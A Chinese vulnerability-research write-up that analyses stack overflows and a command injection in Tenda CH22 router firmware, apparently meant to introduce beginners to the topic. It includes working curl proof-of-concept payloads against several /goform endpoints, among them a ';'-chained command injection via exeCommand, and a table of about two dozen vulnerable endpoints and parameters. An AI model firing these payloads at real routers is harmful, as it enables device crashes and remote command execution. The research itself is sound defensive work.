Tenda CH22多个漏洞分析

近期看到CVE上出现好多这个设备的漏洞,就看了一下,设备比较老,不是很复杂,适合新手入门

漏洞定位

从漏洞信息了解到,是通过网页配置访问到漏洞点的,直接分析http服务

提取httpd&仿真

binwalk一把梭

iot@iot:~$ binwalk US_CH22V1BR_CH22_V1.0.0.1_CN.bin -Me
iot@iot:~$ cd _US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin$ file httpd
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

qemu直接起

iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ cp /usr/bin/qemu-arm-static ./
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd

IDA分析

根据字符串快速定位到路径处

定位路径

这一段应该是做的路径解析,如果路径不存在则通过websFormHandler返回error,存在则在sub_2DB50中做跳转

定位路径2

这里不难看出,根据不同的路径会跳转到不同的解析里面,主要分为asp和非asp两类,找到位置就方便研究漏洞了

CVE-2025-9813

这里先拿CVE-2025-9813分析,根据漏洞描述这个漏洞在/goform/SetSambaConf下,通过操作samba_userNameSda溢出

CVE-2025-9813

根据描述漏洞就在这一块了,传入的参数为s_1,大小可控,v3为s_1的总长度,v4为s_1从*起到末尾的长度,也就是说原本的输入可能类似于username*password
在第60行s_1直接传给了s[256],导致溢出

CVE-2025-9813_vuln

同样的问题也出在下方,只不过需要用到:做分隔,溢出点dest[256]就不过多赘述了

CVE-2025-9813_vuln2

PoC:

curl -i -X POST 'http://192.168.127.100/goform/SetSambaConf' -d "samba_userNameSda=$(python3 -c "print('A' * 300 + '*')")"

CVE-2025-12271

CVE-2025-12271的情况也是同理
从描述来看是需要利用/goform/RouteStatic中的page这个参数

CVE-2025-12271

在fromRouteStatic这个函数中与前者不同的是,此函数会先将entrys以及mitInterface的值传入sub_39798这个函数中,不过并不存在判断条件,所以还是可以直接触发漏洞

漏洞点在于sprinf前未对v6的长度做校验,直接拼接前面的路径传入s,如果写exp需要注意偏移量

CVE-2025-12271_vuln

PoC:

curl -i -X POST 'http://192.168.127.100/goform/RouteStatic' -d "page=$(python3 -c "print('A' *(300 - len('routing_static.asp?page=')))")"

此外,类似的page溢出还有很多,原理都是sprint未经校验直接拼接重定向url导致

CVE-2025-14526

CVE-2025-14526_vuln

PoC:

curl -i -X POST 'http://192.168.127.100/goform/L7Im' -d "page=$(python3 -c "print('A' *(300 - len('im.asp?page=%s')))")"

CVE-2025-9812

结合通告信息,很明显是有溢出

CVE-2025-9812_vuln

但实际上更大的问题在后面,可以使用;分隔实现命令注入
或许是由于使用的用户模式仿真,能够利用的函数较少,这里只贴个PoC没深入研究

PoC:

curl -X POST -d "cmdinput=ping 127.0.0.1 -c 3; pwd; ls; cd bin/; pwd; ls; " http://192.168.127.100/goform/exeCommand

RCE_vuln

栈溢出漏洞列表

类似的漏洞还有很多,这里贴一张列表

CVE ID接口路径关键参数描述
CVE-2025-9813/goform/SetSambaConfsamba_userNameSdaformSetSambaConf 函数处理用户输入时未检查长度,导致栈溢出。
CVE-2025-9812/goform/exeCommandcmdinputformexeCommand 函数处理命令输入时发生缓冲区溢出,风险极高(可能涉及命令注入)。
CVE-2025-9748/goform/IPSECsaveipsecnofromIpsecitem 函数处理 IPSec 配置时存在溢出。
CVE-2025-9443/goform/editUserNamenew_accountformeditUserName 函数修改用户账户时发生溢出。
CVE-2025-9007/goform/editFileName(未指定)formeditFileName 函数编辑文件名时存在溢出。
CVE-2025-9006/goform/delFileName(未指定)formdelFileName 函数删除文件时存在溢出。
CVE-2025-8180/goform/deleteUserName(未指定)formdeleteUserName 函数删除用户时存在溢出。
CVE-2025-5685/goform/NatlimitpageformNatlimit 函数处理分页参数时存在溢出。
CVE-2025-5619/goform/addUserNamePasswordformaddUserName 函数添加用户(处理密码)时存在溢出。
CVE-2025-14526/goform/L7ImpagefrmL7ImForm 函数处理分页参数时存在溢出。
CVE-2025-13400/goform/WrlExtraGetchkHzformWrlExtraGet 函数处理频率检查参数时存在溢出。
CVE-2025-13288/goform/PPTPUserSettingdelnofromPptpUserSetting 函数处理删除编号参数时存在溢出。
CVE-2025-12322/goform/NatStaticSettingpagefromNatStaticSetting 函数处理分页参数时存在溢出。
CVE-2025-12274/goform/P2pListFilterpagefromP2pListFilter 函数处理分页参数时存在溢出。
CVE-2025-12273/goform/webExcptypemanFilterpagefromwebExcptypemanFilter 函数处理分页参数时存在溢出。
CVE-2025-12272/goform/addressNatpagefromAddressNat 函数处理分页参数时存在溢出。
CVE-2025-12271/goform/RouteStaticpagefromRouteStatic 函数处理分页参数时存在溢出。
CVE-2025-12265/goform/VirtualSerpagefromVirtualSer 函数处理分页参数时存在溢出。
CVE-2025-12236/goform/DhcpListClientpagefromDhcpListClient 函数处理分页参数时存在溢出(与 15229 不同参数)。
CVE-2025-12235/goform/SetIpBindpagefromSetIpBind 函数处理分页参数时存在溢出。
CVE-2025-12234/goform/SafeMacFilterpagefromSafeMacFilter 函数处理分页参数时存在溢出。
CVE-2025-12233/goform/SafeUrlFilterpagefromSafeUrlFilter 函数处理分页参数时存在溢出。
CVE-2025-12232/goform/SafeClientFilterpagefromSafeClientFilter 函数处理分页参数时存在溢出。
CVE-2025-11117/goform/GstDhcpSetSerdips(注:描述函数为 formWrlExtraGet) 处理 DHCP 设置时发生溢出。

本文章同时发布于看雪论坛
https://bbs.kanxue.com/thread-289685.htm

一个仍在爬山的人